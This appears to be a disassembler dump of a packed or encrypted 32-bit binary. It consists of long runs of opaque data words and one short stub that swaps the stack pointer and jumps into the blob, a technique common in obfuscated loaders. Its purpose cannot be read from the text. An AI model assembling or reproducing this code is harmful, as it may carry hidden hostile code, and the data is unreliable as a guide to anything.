		dd 26D2C356h, 0C3E38FE6h, 0BD29D32Ah, 6140191h,	4676D281h
		dd 575036DCh, 24048959h, 12899D33h, 95FF0614h, 6140411h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 62C35747h
		dd 20EE422Fh, 3ABF66DCh, 0FC00B54h, 2D84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD8BC203h, 61416BDh, 2C2E9h, 4963BB00h, 4E81C52h, 2C000000h
		dd 8A000001h, 0FB8B50DEh, 424448Bh, 7E8008Bh, 4E000000h
		dd 79A5F166h, 506023F4h, 5A310F52h, 895F6158h, 0E8042444h
		dd 0Eh,	5711D1A6h, 810AB51Ah, 32E9CEAEh, 0AEB2047Eh, 6A5859h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C53CD2C3h, 719D8912h, 0FF06140Ah, 14297195h, 0F98B6606h
		dd 591AB58Dh, 0BF0F061Bh, 3106C7D1h, 66363438h,	86F6D281h
		dd 370446C7h, 6A31342Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0C755C353h,	846h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0F56BC2C3h, 858941D9h, 6142B21h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FC2843C3h
		dd 66537C8Dh, 5904EFB9h, 26DBD89h, 858D0614h, 61B591Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3DC35646h
		dd 0DE8B2B7h, 0A5000000h, 388B5B1Ah, 6DB872BAh,	0D042B154h
		dd 5FCF8B66h, 0CE8B6690h, 2880F50h, 8B000000h, 0CE890CFh
		dd 2E000000h, 0CE700995h, 0E335F5Bh, 0E9FCDA4Eh, 5, 78727A29h
		dd 95FF5A92h, 6140411h,	2BD9D8Bh, 0C00B0614h, 10840Fh
		dd 0B5890000h, 6141339h, 136E9h, 14C8BF00h, 5868473Fh
		dd 0E9A0243Fh, 0Dh, 22F0EB41h, 5E04C365h, 59A6C17Ah, 24048162h
		dd 5FDBC1D4h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	40C35343h, 89ADBA15h, 1400718Dh, 7195FF06h, 0B9061429h
		dd 68BC8EC3h, 591AB58Dh, 0BD8B061Bh, 61402EDh, 6FDB8166h
		dd 4606C772h, 0C7656C69h, 6F6D0446h, 0D181636Eh, 8842142h
		dd 6C0846C7h, 81737361h, 80DFE4C2h, 0C46C73Fh, 0
		dd 14D9589h, 6A0614h, 1C41BD29h, 0CFBA0614h, 8D708A81h
		dd 1B591A85h, 719D8906h, 9006140Bh, 90509BB6h, 0FFDABF0Fh
		dd 14041195h, 0A5BA6606h, 94C3806Bh, 840FC00Bh,	64h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0F6C35646h, 0D54C4C35h
		dd 53B9D2D8h, 0FCAB70Fh, 40E9CAB7h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0FF7CC353h, 0F78CB5ACh, 0FE9h, 0C6429700h, 4E378950h
		dd 8A0632C1h, 35B9243h,	0FFFBA4E9h, 9DB589FFh, 8D061416h
		dd 1472AFB5h, 0B8CA8B06h, 0
		dd 6AE6FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 1F1EE8C3h, 46C478A4h, 0DE8C3h, 0DE9B0000h
		dd 5E847995h, 31F0B0FAh, 0F66E7F5h, 8B5FC8BFh, 2F8D8DC1h
		dd 0BE061B5Fh, 79C1C190h, 2B698D89h, 0BD0B0614h, 6140D35h
		dd 105585C7h, 72680614h, 89570000h, 140261B5h, 5E95B06h
		dd 0FA000000h, 9B593D2h, 13D85C7h, 614h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 63238CC3h, 3640DC41h, 80B2DDDDh, 860FBBDAh, 6, 509958Bh
		dd 8E0F0614h, 6, 975BD89h, 0B5FF0614h, 6140E15h, 0BD995FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 89BF2C3h,	837C7798h, 95FF006Ah, 6142971h
		dd 5FEBC08Bh, 413013B5h, 0BA7177F3h, 1EFBD541h,	0D21C0508h
		dd 7166CED5h, 0F5D3BAFBh, 0E9C431B1h, 245D9E98h, 471BC5D7h
		dd 6DD9893Ah, 720457ABh, 9C82F492h, 2E43030h, 0E843A85Eh
		dd 0BCDC2A6h, 0B4234F35h, 7DFCF83Ah, 2AA59876h,	23274E45h
		dd 91B20CCCh, 40CAC4FCh, 0DAFF7A54h, 9FBAAF13h,	0FEDDBBB1h
		dd 0E9E1FCAh, 4A169CA8h, 0E9F5A8Ah, 0EAD5ABA8h,	0E9F3275h
		dd 4A179AA8h, 0AE5DBA8Ah, 4A147757h, 0E9C228Ah,	0EAD5ABA8h
		dd 0E9CF575h, 4A14A5A8h, 0E9D778Ah, 4A1527A8h, 0E9DE98Ah
		dd 0EAD5ABA8h, 0D42F2575h, 13313416h, 0E37C003h, 90A752B3h
		dd 57B924A6h, 4AB3D121h, 0D42F4391h, 1331352Bh,	0E3FC003h
		dd 90A752B3h, 57B92451h, 4A8FD121h, 0D42F4391h,	1331369Ah
		dd 0E0BC003h, 90A752B3h, 57B9270Dh, 4A9BD121h, 0D42F4391h
		dd 13313663h, 0E17C003h, 90A752B3h, 57B9269Eh, 4A97D121h
		dd 0D42F4391h, 133137FDh, 0E63C003h, 90A752B3h,	57B9261Ch
		dd 4AEFD121h, 0D42F4391h, 1331377Fh, 0E6BC003h,	90A752B3h
		dd 57B9219Ah, 4AE7D121h, 0B8C34391h, 152A5012h,	0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 6DC0D5F2h, 96A45EEAh,	152AA8EDh
		dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h,	5564C6CBh
		dd 0EAD5BA41h, 0AE63CE75h, 13FAD3Ah, 5342848Ch,	0EA2211ABh
		dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h
		dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 13313CE9h, 1129475h
		dd 54A0D902h, 0AEA45EE2h, 51A1EC79h, 0DC0941AEh, 0E421522h
		dd 3773BA8Ch, 732ADF10h, 1028C821h, 0EA2C4FC0h,	152BFD5Bh
		dd 9881508Ch, 4ACA0400h, 0A5FBABAEh, 2C89EFD2h,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 2DC0D5F2h, 0DAA45EEBh, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 0DC30BACCh, 9E2C40B8h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h
		dd 54A0D9F9h, 0AEA45EE2h, 949A0D79h, 551A2320h,	8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 15C23454h, 0BA2458Ah, 74A5BE29h, 24294391h, 1957DFA0h
		dd 515E004Dh, 532A54A8h, 412FD775h, 0CDA152BCh,	0FC69CE19h
		dd 0A5B9979Bh, 0FA31EFE2h, 54A0D9F9h, 0AEA45EE2h, 949A0D79h
		dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h,	51A2454Ah
		dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah,	9025862Dh
		dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h,	0D8AE38A1h
		dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h,	1D5FDFC8h
		dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h,	0FD627658h
		dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h
		dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh
		dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
		dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h,	0B2229D00h
		dd 85E1D4A7h, 0DC088600h, 0E421522h, 0E173BA8Ch, 9FA7FEF8h
		dd 57B92DCBh, 0D6A08557h, 5DDF6E20h, 74D62921h,	985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0E9A2458Ah, 152A54AFh, 445BD775h, 452652BCh,	1028C820h
		dd 0EA2C4FC0h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh
		dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah,	87D5FE04h
		dd 57B65507h, 17868C23h, 0DB2FEF49h, 13313CE9h,	0E9C49475h
		dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h,	1DE89D54h
		dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h
		dd 0EA80F8A8h, 45B2C818h, 0B9E2DFAEh, 0DC088558h, 0E421532h
		dd 3771BA8Ch, 73E39410h, 0FB63CF21h, 9C262983h,	0DAC3B9F7h
		dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0BF8654A8h, 412FD775h, 0DDA152BCh, 0FB637726h
		dd 7D6BCE25h, 825D4391h, 0E4AAECCEh, 9028EEECh,	19577F02h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 54B0D903h
		dd 0AEA45EE2h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h
		dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57B92DCBh
		dd 0A09A8757h, 0FB0E0320h, 7D6BCE25h, 825D4391h, 0D8ACECCEh
		dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 75C0D5F2h, 96A45EEEh,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 4ABFCE25h, 0DCF14391h,	0E4A3832h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0F438C882h
		dd 462C4FF7h, 31CEDF07h, 0C6D552B3h, 0B85E0003h, 152A5492h
		dd 0AEAE3075h, 8FA75CDDh, 57B91A3Bh, 79B0D9FBh,	0AEA45EEAh
		dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 0E75E932h
		dd 0CB2F168Ch, 133134C4h, 142B9675h, 152ABD54h,	0DAC3458Ah
		dd 0D7E3A8EDh, 44BA4582h, 0E9000030h, 0B8h, 0C0443757h
		dd 0B3772627h, 989C1934h, 868A010Fh, 73B7EA19h,	4F7EC4E8h
		dd 3451CE52h, 1E2AB579h, 0FE009F63h, 93EE8B8Fh,	0EBF72712h
		dd 0AD17BC55h, 0F8256967h, 53F09249h, 2A2246CAh, 0FB165556h
		dd 0A9A774BEh, 0E5D2EF2h, 13778702h, 92A89401h,	0B15453F0h
		dd 0D532CB0h, 82D89177h, 949E5679h, 70810019h, 0F280C653h
		dd 0D9753B5h, 1D000000h, 0AC9F188Bh, 2753F092h,	0C3D1D123h
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 6530681Fh
		dd 5E9061Bh, 3FFFF91Bh,	8C0FE0BDh, 3B45D931h, 2F3E87D0h
		dd 6E8h, 128A7F00h, 0B57B110Dh,	0A8B25BBDh, 5DEAC381h
		dd 0BA660000h, 0BECACAh, 0FF000000h, 0DBB21E34h, 9E95Fh
		dd 0F9800000h, 436BF0AAh, 81FCDCBDh, 4A266FC7h,	0DE856h
		dd 3E340000h, 1B2157BEh, 7B62B963h, 0F4A094Fh, 8159C7B7h
		dd 3CDFF9C7h, 7E95Fh
		dd 0D95C0000h, 1FF2827Ah, 2FF78128h, 60545EABh,	0FFEE880h
		dd 28Dh, 61616000h, 8B333C89h, 0D99EB9CFh, 0EE83756Eh
		dd 37BA6604h, 0B4FE8175h, 0FFFFFA2h, 0FFFF8E85h, 850F60FFh
		dd 3, 0FBCDB80h, 584h, 3823B800h, 556164C8h, 5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 8D2CFD49h, 0A082FD25h, 0B7C3FD25h
		dd 3D21FD25h, 0F813FD25h, 1A09FD25h, 6BD6FD25h,	0D3B7FD25h
		dd 8FA2FD25h, 0A0E9FD25h, 0B7A6FD25h, 3F1BFD25h, 0F964FD25h
		dd 1B45FD25h, 6A26FD25h, 0D1E2FD25h, 8D36FD25h,	259DFD25h
		dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh,	2775FD7Ah
		dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh
		dd 0BC75FC7Bh, 5E75FD7Ah, 3E76FD7Ah, 6D75A3D5h,	0CB75A3D5h
		dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0F9F0701Ah
		dd 0A673E610h, 8C1323FFh, 76F0707Ch, 6C73E610h,	0E91363FFh
		dd 82F0707Ch, 3573E610h, 451327FFh, 74F0707Ch, 1E73E610h
		dd 0D0135FFFh, 0FFF0707Ch, 7B73E610h, 62135BFFh, 4F0707Ch
		dd 0D773E612h, 341357FFh, 5DF0707Ch, 4273E612h,	0FE1353FFh
		dd 12F0707Ch, 0F073E612h, 0A7134FFFh, 65F0707Ch, 0A673E613h
		dd 8C1343FFh, 0CCF0707Ch, 6C73E613h, 0E9134BFFh, 5FF0707Ch
		dd 3573E613h, 451347FFh, 14F0707Ch, 1E73E613h, 0D01343FFh
		dd 90F0707Ch, 7B73E613h, 621333FFh, 28F0707Ch, 0D773E613h
		dd 34132FFFh, 20F0707Ch, 4273E613h, 0FE132BFFh,	0F2F0707Ch
		dd 0F073E610h, 0A7133FFFh, 69F0707Ch, 0A673E610h, 8C133BFFh
		dd 19F0707Ch, 6C73E610h, 0E91337FFh, 0F4F0767Ch, 3573E96Ah
		dd 4512EAFFh, 0D6F0767Ch, 1E73E96Fh, 0D012E6FFh, 0B0B69C7Ch
		dd 0F29D11F1h, 2375FD7Ah, 0D45E17FBh, 0D525FB61h, 0ADFDF53Fh
		dd 916E9A6Ch, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 0F0987C27h, 0A073E612h, 341360FFh, 0AC87D7Ch, 0CF73E61Ch
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 0A712E6EFh, 96FEBD7Ch
		dd 2F7A452Bh, 28AFD7Ah,	0CD6E9A61h, 83EB48F7h, 0C6F8FB61h
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 916E9A61h
		dd 0ADEB48F7h, 0D1F8FB61h, 228A50FCh, 87BC1F23h, 0A71360F7h
		dd 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah,	708A5779h
		dd 0F46E9A6Dh, 79D3ED1h, 0DA75FD78h, 54CD9BC2h,	0D0DE9B59h
		dd 8C12EAEFh, 8DE9B7Ch,	0E5779592h, 0F3360B7Ah,	866E8872h
		dd 0A712EAEFh, 54C54D7Ch, 0BA8AAD79h, 916E9A6Dh, 2BF69B20h
		dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h,	652FFD7Ah
		dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h
		dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh,	7FA916D0h
		dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h
		dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh
		dd 95626885h, 1F2FFB61h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h
		dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah
		dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
		dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch,	0EE75FD7Bh
		dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h,	0FA74BE8Ch
		dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h
		dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 6212E6EFh,	5EC0707Ch
		dd 5D73E61Ch, 2C7F518Ah, 80E002D0h, 873E61Dh, 0E574E592h
		dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h,	2C7FA5CAh
		dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh
		dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h,	0CB750C92h
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 0D01369FFh, 71C87D7Ch,	0F373E61Ch
		dd 0FCF8EC0Fh, 0BA6E9A7Ch, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A71369F7h
		dd 0CAC87D7Ch, 2F73E61Ch, 12F8F10Fh, 0CD6E9A7Ch, 0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 0DB6E6885h, 0C3F8FB61h, 296E9619h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 296E9A6Dh, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 0D012EAEFh, 0EA917D7Ch, 42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F46E9A61h, 1F8F60F7h, 0A0F8FB61h
		dd 4ECD3E39h, 0D075FD7Ah, 8C12E6EFh, 0CEB57E7Ch, 1A8935F1h
		dd 0E912EAEFh, 8E97577Ch, 43BE15B9h, 1DFF0285h,	5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 440617FBh, 0EAFCFB61h,	0DDCF7D86h
		dd 0E573E61Dh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 4512E6E8h
		dd 0ADFCBD7Ch, 916E9A65h, 79F835F1h, 0E36E913Dh, 95626F85h
		dd 7FFDFB61h, 4801F3Ch,	5E75FD6Dh, 486A7F79h, 1A35FB61h
		dd 0D019C6E0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0DB6A7779h
		dd 0ECF8FB61h, 296E9153h, 2F2B5989h, 0CB75FD72h, 826E6F85h
		dd 0AF6FB61h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 0D019A790h, 0C6CF707Ch, 7973E61Dh, 71CCF50Fh, 4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 8C12DEE7h, 0D3497D7Ch, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 43E617FBh
		dd 25F8FB61h, 0CD6E9A59h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 395640F7h, 0EF46FB61h, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F46E9A59h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 825640F7h,	0F3CDFB61h
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0F04578F7h
		dd 0D08AFB61h, 2AE9CA8Bh, 0C7000000h, 2404h, 0E80000h
		dd 5D000000h, 6D13ED81h, 448B061Bh, 85890424h, 6140E49h
		dd 0B8h, 0FF8D8D00h, 0FF06144Dh, 6754B8E1h, 0CEB0000h
		dd 18DC48D1h, 592DA9A8h, 0DB044E4Fh, 5F6E9h, 5EAE900h
		dd 19290000h, 405A266h,	0EF1A8589h, 0D3F16EB2h,	0BCCB54D8h
		dd 9ABE3DC1h, 9C601D2Ch, 8B8F0603h, 71B5F01Ch, 55D9D4F6h
		dd 0D564C138h, 6E55EBFFh, 6567E325h, 4D790636h,	0BBC93A52h
		dd 953AF391h, 6B20F2BCh, 9ABDC5Eh, 6C9C80FBh, 0ABB4C4E8h
		dd 7AE9E19Ch, 1793AE0Fh, 2C1053F0h, 671A29E6h, 83FA0857h
		dd 2439F888h, 81B9F411h, 15D1305h, 4916969Ch, 344B433Eh
		dd 0FA629A13h, 0AB86FEBh, 95DA040Dh, 37E9B34Eh,	23476200h
		dd 0BB888F28h, 9FE349DBh, 0B8F5106Fh, 0A4971083h, 3F55ECB0h
		dd 6219D95Bh, 0B09BB6F7h, 341855ECh, 6B2621FEh,	0DA95D253h
		dd 11FEB4B4h, 0C5C0CBFAh, 0D4A04141h, 0B70306A7h, 0F7706D38h
		dd 8FBFA3DAh, 55D9D4F0h, 0CBC3BECAh, 0C1377A6Ah, 155467D8h
		dd 0E976BCF7h, 0B7474382h, 3EC2E695h, 0BAD1A746h, 0D51BA4A3h
		dd 95618657h
		dd 5750A2C6h, 0E9DD48D6h, 95A5A9C3h, 0DF6ACB26h, 54C3B95Dh
		dd 8CB322F0h, 6EC3B95Dh, 0D69588EFh, 0AB37FDB8h, 15DE5B85h
		dd 0A3966D1h, 2BC3B951h, 1F10BF3Bh, 0F76458FCh,	0B9409BB6h
		dd 103418C3h, 76102h, 2A4F0000h, 3B3h, 0CCFD8B40h, 5F496DE5h
		dd 6759790h, 0CB8092F6h, 0E752D3BFh, 7C53F094h,	0A6DC17EAh
		dd 0D31B470h, 7C8BD2E9h, 878D0901h, 702D5827h, 92090758h
		dd 0A9E4E57Ah, 0C1286791h, 0FC72C16Eh, 8DF153F0h, 0BFD6B969h
		dd 5098480h, 1B336E9Ah,	0DEEC353Dh, 4E722B5Ch, 7D25213Eh
		dd 0F0FC0130h, 9ABE8253h, 0DF36E562h, 46ADEC5Bh, 7B900B07h
		dd 59547108h, 95A4A521h, 8553F0FCh, 9AFE0E89h, 20D02226h
		dd 0DFEA8C87h, 0B4D5AAA2h, 2145C1F9h, 4D7F0E3Dh, 97E8D45Eh
		dd 8D0A0279h, 0D3847AEh, 0A0CD8C90h, 0CE9DFD7h,	2757527Dh
		dd 3C0FA8A3h, 0B735E7DAh, 7B8A41D3h, 68650206h,	0D6AE1D2Dh
		dd 0D78548AEh, 5F0C0659h, 7437B32h, 73EE41A8h, 99A0DDECh
		dd 35E790AAh, 30EF2529h, 44969A13h, 9Ch, 0BCF9146Bh, 6E808C76h
		dd 6B9DE21Ah, 0C09FEC30h, 9348CAC3h, 0AC0D3D78h, 53F0929Dh
		dd 407F9645h, 5BC44845h, 3847772Eh, 24616C06h, 92BB9617h
		dd 543853F0h, 937C1830h, 0E936A17Ch, 53F0925Ah,	0D94675D9h
		dd 53F0926Ah, 0F0AF65E9h, 0C956DAD3h, 0B6C9C1BCh, 65E21A97h
		dd 23205FB6h, 0A39A66Ah, 28205D6Ch, 967088ACh, 0C42B6A99h
		dd 0B9F41269h, 500F0581h, 2FB87C31h, 0D1506823h, 53F0926Dh
		dd 0BECD246Bh, 78131792h, 7027770Dh, 0F577B40Ch, 0F0D245F4h
		dd 7F81DE53h, 202AE80Ch, 0AC9F188Bh, 2753F092h,	0D2F6A7D8h
		dd 47F8B40h, 245F6BF4h,	42394B14h, 9D18354Ah, 779E396Dh
		dd 57BEDDB3h, 0CD931C28h, 0F3A7B26h, 8453F06Fh,	3846E80h
		dd 675B9DDh, 0A3AE4847h, 4E72D6E6h, 5D58DA3Eh, 53F0BE85h
		dd 3572ED1Eh, 53F0BC06h, 977BB99Dh, 8594B64Ah, 0FFFF0D56h
		dd 618042FFh, 8347E01Bh, 3349DC6Ah, 90621B2Ch, 6FDCEC50h
		dd 284CEF10h, 987603F4h, 656681A5h, 7EB41028h, 0FA179FA1h
		dd 0EB0F8B83h, 0F7155427h, 0A088CBCh, 40783355h, 7D8CD3h
		dd 0C9868C08h, 8CC8C0BBh, 0A51CC23h, 0E37585F8h, 0A669023Ch
		dd 57DDC157h, 131786B8h, 33B7294h, 0E42B98A2h, 8DE41355h
		dd 4B862792h, 0C855E42Bh, 566CD244h, 0B7ADE0FFh, 0E19CAE7Dh
		dd 56E49AEAh, 3FF1ACDEh, 0AE64023Dh, 504B7DEAh,	5B21C038h
		dd 89878720h, 94F84FC8h, 226DFB90h, 86BFB7FBh, 49982CE6h
		dd 50AF0803h, 9C45F354h, 9A21AFC4h, 6DA76666h, 46193115h
		dd 243C4F4Ah, 0F47D0B4Eh, 15DD57E4h, 0C7F87E8Ah, 3E22A6D6h
		dd 236EAF0Eh, 192AA0EBh, 0FC0B5464h, 0B2DD8981h, 804FD75Bh
		dd 732E5A69h, 0F140ED58h, 7262FBE7h, 0BBDFDAF5h, 212EB979h
		dd 0F9085764h, 213E8E84h, 3516A25h, 0EFCA07E1h,	3676BC4Eh
		dd 0F5056CEBh, 0B6A00227h, 0CAB7h, 1269C400h, 87B2BBF6h
		dd 1C62FBFBh, 0FBB38E2Fh, 4C3062FBh, 6760EA28h,	74F33766h
		dd 4FD85C59h, 0B5C64A41h, 0F1F3D4BFh, 99B5FB97h, 6338FA1Eh
		dd 7AE52964h, 55D2564Bh, 7ECD6A38h, 0F553F050h,	2265B6Ah
		dd 818D1A1Eh, 5A76F506h, 821DD55Fh, 9E090D80h, 0A31DC06Fh
		dd 2CF38634h, 5D416520h, 0C772B32Eh, 5C53F088h,	78A3AF8h
		dd 0CA6D8A7h, 68608401h, 0C461DCEFh, 53F08875h,	1A6E2925h
		dd 0F81FFC36h, 0C855C03Bh, 53F08879h, 215C6DFAh, 9E89AD29h
		dd 0C2FD3772h, 0F088D665h, 0D2E96D53h, 10E6B582h, 9E94B943h
		dd 7D4FBFDAh, 6Fh, 0D8F48BFBh, 0BB57DDh, 92390895h, 0D6BA53F0h
		dd 92E7515Ch, 0C02F53F0h, 67BB79A9h, 74F33766h,	0F2A9A759h
		dd 0D65A7EDAh, 0BC403B49h, 52692423h, 4C79F90Bh, 0B91D2D51h
		dd 2120BF7Bh, 8CD3A86Ch, 5BF0027Bh, 0AF22852Eh,	95D34E87h
		dd 8FDEAD71h, 56050F7Eh, 0A5838D3Ah, 536B2621h,	1D6B21F7h
		dd 0E58286AAh, 0B664A8E3h, 3, 67A68C3Ch, 7B043467h, 253A5249h
		dd 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh
		dd 4718306Dh, 1F275746h, 230568h, 24348900h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 68243489h, 1F05h,	0BE241C89h
		dd 25F94EF1h, 0C683DEF7h, 0C0EE81FFh, 54D3EB43h, 83241C8Bh
		dd 0BA5204C4h, 8, 2AEEC281h, 0DA0126F3h, 2AEEEA81h, 328926F3h
		dd 241C8B5Ah, 81E38953h, 4C3h, 4C38100h, 87000000h, 8B5C241Ch
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 86h
		dd 1B72B8B8h, 8BC50306h, 0D59D8DD3h, 0B806140Dh, 23E4h
		dd 898589h, 0E80614h, 58000000h, 0D05h,	0E9038900h, 23E4h
		dd 8F9h	dup(0)
		dd 29E9h, 62879A00h, 41h, 8 dup(0)
